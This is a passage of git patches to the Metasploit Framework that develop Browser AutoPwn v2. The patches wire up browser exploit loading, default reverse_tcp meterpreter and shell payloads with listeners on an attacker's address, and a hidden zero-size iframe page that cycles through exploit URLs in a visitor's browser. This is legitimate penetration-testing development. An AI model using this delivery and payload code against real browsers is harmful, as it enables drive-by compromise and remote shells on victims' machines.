[{:clsid=>'String', :method=>'String'}] @@ -74,7 +74,7 @@ module Msf # But when BES receives this information, the JavaScript will return this format: # "{CLSID}=>Method=>Boolean;" # Also see: #has_bad_activex? - :activex + 'activex' ]) def initialize(info={}) From 62e3f5e56a75ff284c7081e389c85b7cc04d1683 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 23:15:56 -0500 Subject: [PATCH 018/150] Small cleanup --- .../core/exploit/remote/browser_exploit_server.rb | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index dec4295d38..6e2edcc9f4 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -248,9 +248,7 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser def retrieve_tag(cli, request) cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) - #$stderr.puts "Found cookie: #{cookie.inspect}" tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first - #$stderr.puts "Found tag: #{tag}" if tag.blank? # Browser probably doesn't allow cookies, plan B :-/ @@ -588,13 +586,3 @@ module Msf end end - - - -=begin - -TODO: -Use notes to store client profiles, and then use framework.db.notes -to retrieve notes in order to look up a profile. - -=end From 35f564d03edc2f9efa766b7dc2eade915383fe5a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 30 Apr 2015 00:32:33 -0500 Subject: [PATCH 019/150] I just shaved off 8 seconds, oh yeah --- lib/msf/core/exploit/browserautopwnv2.rb | 47 +++++-------------- .../exploit/remote/browser_exploit_server.rb | 8 ++++ 2 files changed, 19 insertions(+), 36 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 7d639d6ceb..b3b119514d 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -35,46 +35,20 @@ module Msf # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. # - # @note This method is using framework.exploits and it's one of the reasons why it's so slow, - # and will only get slower. - # @todo Maybe look for a different way to get a list of exploits. - # @return [Array] A collection of BES modules in this format: [module_fullname, Class]. - def init_exploit_paths - framework.exploits.find_all do |m| - next if !m.first.include?('browser') || m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname - m.last.ancestors.include? Msf::Exploit::Remote::BrowserExploitServer - end - end - - - # Initializes the @bap_exploits instance variable with all the found BAP exploits. - # - # @note The more BES exploits, the slower this gets. - # @see #bap_exploits The read-only attribute. # @return [void] def init_exploits - # Initialized BES modules are held here - @bap_exploits = [] - - init_exploit_paths.each do |m| - module_name = m.first - xploit = framework.exploits.create(module_name) - unless xploit - print_status("Failed to load: #{name}") + # First we're going to avoid using #find_all because that gets very slow. + framework.exploits.each_pair do |fullname, plader_holder| + next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" + mod = framework.exploits.create(fullname) + unless mod + print_status("Failed to load: #{fullname}") next end - set_exploit_options(xploit) - @bap_exploits << xploit - end - end - - - # Prints BAP module names - # - # @return [void] - def list_bap_names - bap_exploits.each do |m| - print_status(m.fullname) + if mod.methods.include?(:is_browser_exploit_server?) + set_exploit_options(mod) + @bap_exploits << mod + end end end @@ -298,6 +272,7 @@ module Msf t1 = Time.now self.datastore['MODULEOWNER'] = 'BAP' super + @bap_exploits = [] print_status("Searching BES exploits, please wait...") init_exploits diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 6e2edcc9f4..723c8d2b47 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -111,6 +111,14 @@ module Msf end + # This allows BrowserAutoPwn's loader to identify which browser exploits are using BES, and + # which ones aren't. This is a way to get around the expensive #find_all in order to retrieve + # the #ancestors information. + def is_browser_exploit_server? + true + end + + # Returns the custom 404 URL set by the user # # @return [String] From 5ae06310b6810370a961c844af35c8303fd084a8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 30 Apr 2015 18:59:44 -0500 Subject: [PATCH 020/150] Do some option handling --- modules/exploits/multi/browser/autopwn.rb | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index ba227899d2..4fdf5b0912 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -39,6 +39,29 @@ class Metasploit3 < Msf::Exploit::Remote ] ], 'DefaultTarget' => 0)) + + register_advanced_options(get_payload_options, self.class) + + deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') + end + + def setup + if datastore['PAYLOAD'] != 'windows/meterpreter/reverse_tcp' + msg = "\"set payload\" is disabled: Instead of using \"set payload\", please set PAYLOAD_[platform] " + msg << "to set a platform-specific payload, and set PAYLOAD_[platform]_LPORT " + msg << "to set a platform-specific LPORT." + raise RuntimeError, msg + end + super + end + + def get_payload_options + opts = [] + DEFAULT_PAYLOADS.each_pair do |platform, payload_info| + opts << OptString.new("PAYLOAD_#{platform.upcase}", [true, "Payload for #{platform} browser exploits", payload_info['payload'] ]) + opts << OptInt.new("PAYLOAD_#{platform.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info['lport']]) + end + opts end def on_request_exploit(cli, request, target_info) From 08b5f71f998477d309e873fe22aafed3c6ca8bef Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 30 Apr 2015 19:09:08 -0500 Subject: [PATCH 021/150] More options --- modules/exploits/multi/browser/autopwn.rb | 24 +++++++++-------------- 1 file changed, 9 insertions(+), 15 deletions(-) diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 4fdf5b0912..61c987bb6d 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -25,22 +25,15 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ java linux osx solaris win android firefox }, 'Privileged' => false, 'DisclosureDate' => "Feb 5 2014", - 'Targets' => - [ - [ 'Automatic', {} ], - [ - 'OSX Target', - { - :os_name => 'Mac OS X', - 'Rop' => :msvcrt, - 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret - 'Align' => 0x77c4d801 # add esp, 0x2c; ret - } - ] - ], + 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0)) - register_advanced_options(get_payload_options, self.class) + register_advanced_options(get_advanced_options, self.class) + + register_options( + [ + OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']) + ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') end @@ -55,12 +48,13 @@ class Metasploit3 < Msf::Exploit::Remote super end - def get_payload_options + def get_advanced_options opts = [] DEFAULT_PAYLOADS.each_pair do |platform, payload_info| opts << OptString.new("PAYLOAD_#{platform.upcase}", [true, "Payload for #{platform} browser exploits", payload_info['payload'] ]) opts << OptInt.new("PAYLOAD_#{platform.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info['lport']]) end + opts end From 95f087ffd3bbe5637906cd89d56ec57c9a4b110b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 7 May 2015 19:26:38 -0500 Subject: [PATCH 022/150] Some progress --- lib/msf/core/exploit/browserautopwnv2.rb | 36 +++++++++++++++++++---- modules/exploits/multi/browser/autopwn.rb | 6 ++-- 2 files changed, 33 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index b3b119514d..6ac1624a76 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -40,6 +40,10 @@ module Msf # First we're going to avoid using #find_all because that gets very slow. framework.exploits.each_pair do |fullname, plader_holder| next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" + + # Regex search + next if datastore['Include'] && fullname !~ datastore['Include'] + mod = framework.exploits.create(fullname) unless mod print_status("Failed to load: #{fullname}") @@ -64,8 +68,9 @@ module Msf xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version xploit.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' # Attacker's IP - xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit - xploit.datastore['MODULEOWNER'] = 'BAP' # Let other mixins know we're in BrowserAutoPwn mode + xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit + xploit.datastore['SRVHOST'] = datastore['SRVHOST'] # Exploit's host + xploit.datastore['MODULEOWNER'] = 'BAP' # Let other mixins know we're in BrowserAutoPwn mode end @@ -175,6 +180,26 @@ module Msf end + def get_selected_payload_name(platform) + payload_name = datastore["PAYLOAD_#{platform.upcase}"] + p = framework.payloads.create(payload_name) + + # The payload is legit, we can use it. + return payload_name if p + + default = DEFAULT_PAYLOADS[platform]['payload'] + print_status("Unknown payload set: #{payload_name}. Falling back to: #{default}.") + + # The user has configured some unknown payload that we can't use, + # fall back to default. + default + end + + def get_selected_payload_lport(platform) + datastore["PAYLOAD_#{platform.upcase}_LPORT"] + end + + # Creates payload listeners. # # @note INCOMPLETE @@ -188,9 +213,9 @@ module Msf next unless is_payload_handler_wanted?(listener_info['payload']) multi_handler = framework.modules.create('exploit/multi/handler') - multi_handler.datastore['LHOST'] = '0.0.0.0' - multi_handler.datastore['PAYLOAD'] = listener_info['payload'] - multi_handler.datastore['LPORT'] = listener_info['lport'] + multi_handler.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' + multi_handler.datastore['PAYLOAD'] = get_selected_payload_name(platform) + multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) multi_handler.datastore['EXITONSESSION'] = false multi_handler.datastore['EXITFUNC'] = 'thread' multi_handler.datastore['MODULEOWNER'] = 'BAP' @@ -271,6 +296,7 @@ module Msf def setup t1 = Time.now self.datastore['MODULEOWNER'] = 'BAP' + self.datastore['DisablePayloadHandler'] = true super @bap_exploits = [] diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 61c987bb6d..a7c457e17f 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -19,9 +19,6 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'Targets' => [ [ 'Automatic', {} ] ], - 'DefaultOptions' => { - 'DisablePayloadHandler' => true # BAPv2 will set up our own - }, 'Platform' => %w{ java linux osx solaris win android firefox }, 'Privileged' => false, 'DisclosureDate' => "Feb 5 2014", @@ -32,7 +29,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']) + OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']), + OptRegexp.new('Include', [false, 'Pattern search for specific modules to use']) ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') From 8cd2d442ff85feda7e9b2d65b1e5f53b7b6e014c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 7 May 2015 20:54:30 -0500 Subject: [PATCH 023/150] Modify show options --- lib/msf/core/exploit/browserautopwnv2.rb | 40 ++++++++++++++----- lib/msf/ui/console/command_dispatcher/core.rb | 4 +- 2 files changed, 34 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 6ac1624a76..44f6f74e5f 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -22,16 +22,21 @@ module Msf # The hash key is the name of the platform that matches what's on the module. # The loader order is specific. DEFAULT_PAYLOADS = { - 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, - 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, - 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, - 'linux' => { 'payload' => 'linux/meterpreter/reverse_tcp', 'lport' => 4445 }, - 'osx' => { 'payload' => 'osx/meterpreter/reverse_tcp', 'lport' => 4446 }, - 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, - 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } + 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, + 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, + 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, + 'linux' => { 'payload' => 'linux/x86/meterpreter/reverse_tcp', 'lport' => 4445 }, + 'osx' => { 'payload' => 'osx/x86/shell_reverse_tcp', 'lport' => 4446 }, + 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, + 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } } + def is_browse_autopwn? + true + end + + # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. # @@ -67,7 +72,7 @@ module Msf xploit.datastore['LPORT'] = p['lport'] # We'll need this information later for multi handler xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version - xploit.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' # Attacker's IP + xploit.datastore['LHOST'] = get_payload_lhost # Attacker's IP xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit xploit.datastore['SRVHOST'] = datastore['SRVHOST'] # Exploit's host xploit.datastore['MODULEOWNER'] = 'BAP' # Let other mixins know we're in BrowserAutoPwn mode @@ -200,6 +205,11 @@ module Msf end + def get_payload_lhost + datastore['LHOST'] || Rex::Socket.source_address + end + + # Creates payload listeners. # # @note INCOMPLETE @@ -213,7 +223,7 @@ module Msf next unless is_payload_handler_wanted?(listener_info['payload']) multi_handler = framework.modules.create('exploit/multi/handler') - multi_handler.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' + multi_handler.datastore['LHOST'] = get_payload_lhost multi_handler.datastore['PAYLOAD'] = get_selected_payload_name(platform) multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) multi_handler.datastore['EXITONSESSION'] = false @@ -352,5 +362,17 @@ module Msf print_status("BrowserAutoPwn URL: #{self.get_uri}") end + def show_payloads + DEFAULT_PAYLOADS.keys.each do |platform| + payload_name = get_selected_payload_name(platform) + p = framework.payloads.create(payload_name) + p.datastore['LHOST'] = get_payload_lhost + p.datastore['LPORT'] = get_selected_payload_lport(platform) + next unless p + p_opt = Serializer::ReadableText.dump_options(p, ' ') + print("\nPayload options (#{payload_name}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) + end + end + end end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 7b02741219..41dd2c4e9c 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3383,7 +3383,9 @@ class Core # If it's an exploit and a payload is defined, create it and # display the payload's options - if (mod.exploit? and mod.datastore['PAYLOAD']) + if mod.exploit? and mod.method(:show_payloads) + mod.show_payloads + elsif (mod.exploit? and mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD']) if (!p) From 8e86a92210ef27d10e534373f5fcad2609314b49 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 8 May 2015 00:25:34 -0500 Subject: [PATCH 024/150] Update --- lib/msf/core/exploit/browserautopwnv2.rb | 6 +++--- lib/msf/core/exploit/http/server.rb | 4 ++-- lib/msf/core/exploit/tcp_server.rb | 4 ++-- lib/msf/core/handler/reverse_tcp.rb | 2 +- lib/msf/ui/console/command_dispatcher/core.rb | 10 +++++++--- modules/exploits/multi/handler.rb | 2 +- 6 files changed, 16 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 44f6f74e5f..2031755ed0 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -75,7 +75,7 @@ module Msf xploit.datastore['LHOST'] = get_payload_lhost # Attacker's IP xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit xploit.datastore['SRVHOST'] = datastore['SRVHOST'] # Exploit's host - xploit.datastore['MODULEOWNER'] = 'BAP' # Let other mixins know we're in BrowserAutoPwn mode + xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 # Let other mixins know we're in BrowserAutoPwn mode end @@ -228,7 +228,7 @@ module Msf multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) multi_handler.datastore['EXITONSESSION'] = false multi_handler.datastore['EXITFUNC'] = 'thread' - multi_handler.datastore['MODULEOWNER'] = 'BAP' + multi_handler.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 multi_handler.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, @@ -305,7 +305,7 @@ module Msf # @return [void] def setup t1 = Time.now - self.datastore['MODULEOWNER'] = 'BAP' + self.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 self.datastore['DisablePayloadHandler'] = true super @bap_exploits = [] diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 39dca74d0a..3f27feb488 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -217,12 +217,12 @@ module Exploit::Remote::HttpServer print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") end - unless datastore['MODULEOWNER'] == 'BAP' + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") end - if opts['ServerHost'] == '0.0.0.0' && datastore['MODULEOWNER'] != 'BAP' + if opts['ServerHost'] == '0.0.0.0' && datastore['MODULEOWNER'] != Msf::Exploit::Remote::BrowserAutopwnv2 print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index 3d53977a14..3744de0782 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -47,7 +47,7 @@ module Exploit::Remote::TcpServer def exploit start_service() - unless datastore['MODULEOWNER'] == 'BAP' + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 print_status("Server started.") end @@ -71,7 +71,7 @@ module Exploit::Remote::TcpServer super if(service) stop_service() - unless datastore['MODULEOWNER'] == 'BAP' + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 print_status("Server stopped.") end end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 8d7dd0454c..cca19fbeb4 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -108,7 +108,7 @@ module ReverseTcp else via = "" end - unless datastore['MODULEOWNER'] == 'BAP' + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 print_status("Started reverse handler on #{ip}:#{local_port} #{via}") end break diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 41dd2c4e9c..6685ab066a 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3381,9 +3381,13 @@ class Core mod_opt = Serializer::ReadableText.dump_options(mod, ' ') print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) - # If it's an exploit and a payload is defined, create it and - # display the payload's options - if mod.exploit? and mod.method(:show_payloads) + # We have to special-case browser autopwn because BAP is an exploit module that allows having + # multiple payloads, but normally MSF can't do this, so it will have be handled by the BAP + # mixin. + # For other normal cases, if it's still an exploit and a payload is defined, then just go ahead + # create it, and then display the payload options. + if mod.exploit? and mod.kind_of?(Msf::Exploit::Remote::BrowserAutopwnv2) and mod.respond_to?(:show_payloads) + # #show_payloads should be defined by BrowserAutoPwn mod.show_payloads elsif (mod.exploit? and mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD']) diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index ef0ee4271b..26cfb0529b 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote end stime = Time.now.to_f - unless datastore['MODULEOWNER'] == 'BAP' + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 print_status "Starting the payload handler..." end while(true) From 2e2b536e8f7d5e5b8592d50b6ffd9b1fb7ca1315 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 8 May 2015 00:28:46 -0500 Subject: [PATCH 025/150] Update --- lib/msf/core/exploit/browserautopwnv2.rb | 4 ++-- lib/msf/core/exploit/remote/browser_exploit_server.rb | 8 -------- 2 files changed, 2 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 2031755ed0..d5fe1dfa2e 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -54,7 +54,7 @@ module Msf print_status("Failed to load: #{fullname}") next end - if mod.methods.include?(:is_browser_exploit_server?) + if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) set_exploit_options(mod) @bap_exploits << mod end @@ -75,7 +75,7 @@ module Msf xploit.datastore['LHOST'] = get_payload_lhost # Attacker's IP xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit xploit.datastore['SRVHOST'] = datastore['SRVHOST'] # Exploit's host - xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 # Let other mixins know we're in BrowserAutoPwn mode + xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 # Let other mixins know we're in BrowserAutoPwn mode end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 723c8d2b47..6e2edcc9f4 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -111,14 +111,6 @@ module Msf end - # This allows BrowserAutoPwn's loader to identify which browser exploits are using BES, and - # which ones aren't. This is a way to get around the expensive #find_all in order to retrieve - # the #ancestors information. - def is_browser_exploit_server? - true - end - - # Returns the custom 404 URL set by the user # # @return [String] From 785a1f4205182bbb86ca2643f60d85a5f7addf92 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 8 May 2015 00:48:04 -0500 Subject: [PATCH 026/150] Modify set payload --- lib/msf/core/exploit/browserautopwnv2.rb | 17 +++++++++++++++++ lib/msf/ui/console/command_dispatcher/core.rb | 7 ++++++- 2 files changed, 23 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index d5fe1dfa2e..c4538ac4cb 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -374,5 +374,22 @@ module Msf end end + def set_payload + print_status("'set payload' has been disabled for BrowserAutoPwn.") + print_status('You should set a platform-specific payload instead via advanced options:') + print_line + table = Rex::Ui::Text::Table.new( + 'Header' => 'Options', + 'Indent' => 1, + 'Columns' => ['Platform', 'Payload'] + ) + DEFAULT_PAYLOADS.each_pair do |platform, payload_info| + table << ["PAYLOAD_#{platform}", payload_info['payload']] + end + print_line(table.to_s) + print_status("Example: set PAYLOAD_WIN windows/meterpreter/reverse_tcp") + print_status("Please also see 'show advanced' for more options.") + end + end end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 6685ab066a..6e4fade1c0 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1996,6 +1996,12 @@ class Core # Sets a name to a value in a context aware environment. # def cmd_set(*args) + # Special-case Browser AutoPwn because set payload can only set one payload, but BAP can + # do multiple. So let BAP handle this. + if args[0] && args[0].upcase == 'PAYLOAD' && active_module.kind_of?(Msf::Exploit::Remote::BrowserAutopwnv2) && active_module.respond_to?(:set_payload) + active_module.set_payload + return + end # Figure out if these are global variables global = false @@ -2110,7 +2116,6 @@ class Core # at least 1 when tab completion has reached this stage since the command itself has been completed def cmd_set_tabs(str, words) - # A value has already been specified return [] if words.length > 2 From 2ea5d49902192dbc976b4b17dad9b2bb42437fe7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 8 May 2015 00:53:25 -0500 Subject: [PATCH 027/150] Update set payload description --- lib/msf/core/exploit/browserautopwnv2.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index c4538ac4cb..28128b40ed 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -379,16 +379,18 @@ module Msf print_status('You should set a platform-specific payload instead via advanced options:') print_line table = Rex::Ui::Text::Table.new( - 'Header' => 'Options', + 'Header' => 'Advanced Options', 'Indent' => 1, - 'Columns' => ['Platform', 'Payload'] + 'Columns' => ['Option Name', 'Description'] ) DEFAULT_PAYLOADS.each_pair do |platform, payload_info| - table << ["PAYLOAD_#{platform}", payload_info['payload']] + table << ["PAYLOAD_#{platform.upcase}", "Payload for #{platform} browser exploits"] end print_line(table.to_s) print_status("Example: set PAYLOAD_WIN windows/meterpreter/reverse_tcp") - print_status("Please also see 'show advanced' for more options.") + print_line + print_status("For a list of payloads, you can do: show payloads") + print_status("You can also see 'show advanced' for more options.") end end From 30b1c508f1d3867f0b4708db4e5ba3110c3b378b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sun, 10 May 2015 16:50:32 -0500 Subject: [PATCH 028/150] javascript portion --- lib/msf/core/exploit/browserautopwnv2.rb | 60 +++++++++++++++++++++-- modules/exploits/multi/browser/autopwn.rb | 9 ++-- 2 files changed, 60 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 28128b40ed..518fbe1fd0 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -32,11 +32,6 @@ module Msf } - def is_browse_autopwn? - true - end - - # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. # @@ -393,5 +388,60 @@ module Msf print_status("You can also see 'show advanced' for more options.") end + def get_exploit_urls + urls = [] + + bap_exploits.each do |mod| + proto = mod.ssl ? 'https' : 'http' + host = datastore['URIHOST'] || Rex::Socket.source_address + port = datastore['SRVPORT'] + resource = mod.datastore['URIPATH'] + url = "#{proto}://#{host}:#{port}#{resource}" + urls << url + end + + urls + end + + # On the fly + def build_html + js = %Q| + var currentIndex = 0; + var exploitList = [#{get_exploit_urls.map! {|e| "'#{e}'"} * ", "}]; + + window.onload = function() { + var e = document.createElement("iframe"); + e.setAttribute("id", "myiframe"); + if (typeof e.style.setAttribute == 'undefined') { + e.setAttribute("style", "visibility:hidden;height:0;width:0;border:0"); + } else { + e.style.setAttribute("visibility", "hidden"); + e.style.setAttribute("height", "0"); + e.style.setAttribute("width", "0"); + e.style.setAttribute("border", "0"); + } + document.body.appendChild(e); + setTimeout("loadExploit(currentIndex)", 1000); + } + + function loadExploit(i) { + var e = document.getElementById("myiframe"); + e.setAttribute("src", exploitList[i]); + currentIndex += 1; + } + | + + %Q| + + + + + #{datastore['Content']} + + | + end + end end diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index a7c457e17f..20c17d9721 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -30,7 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']), - OptRegexp.new('Include', [false, 'Pattern search for specific modules to use']) + OptRegexp.new('Include', [false, 'Pattern search for specific modules to use']), + OptString.new('Content', [false, 'HTML Content', '']) ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') @@ -57,9 +58,9 @@ class Metasploit3 < Msf::Exploit::Remote end def on_request_exploit(cli, request, target_info) - #$stderr.puts get_target.inspect - #$stderr.puts find_suitable_exploits(target_info) - send_exploit_html(cli, 'OK') + serve = build_html 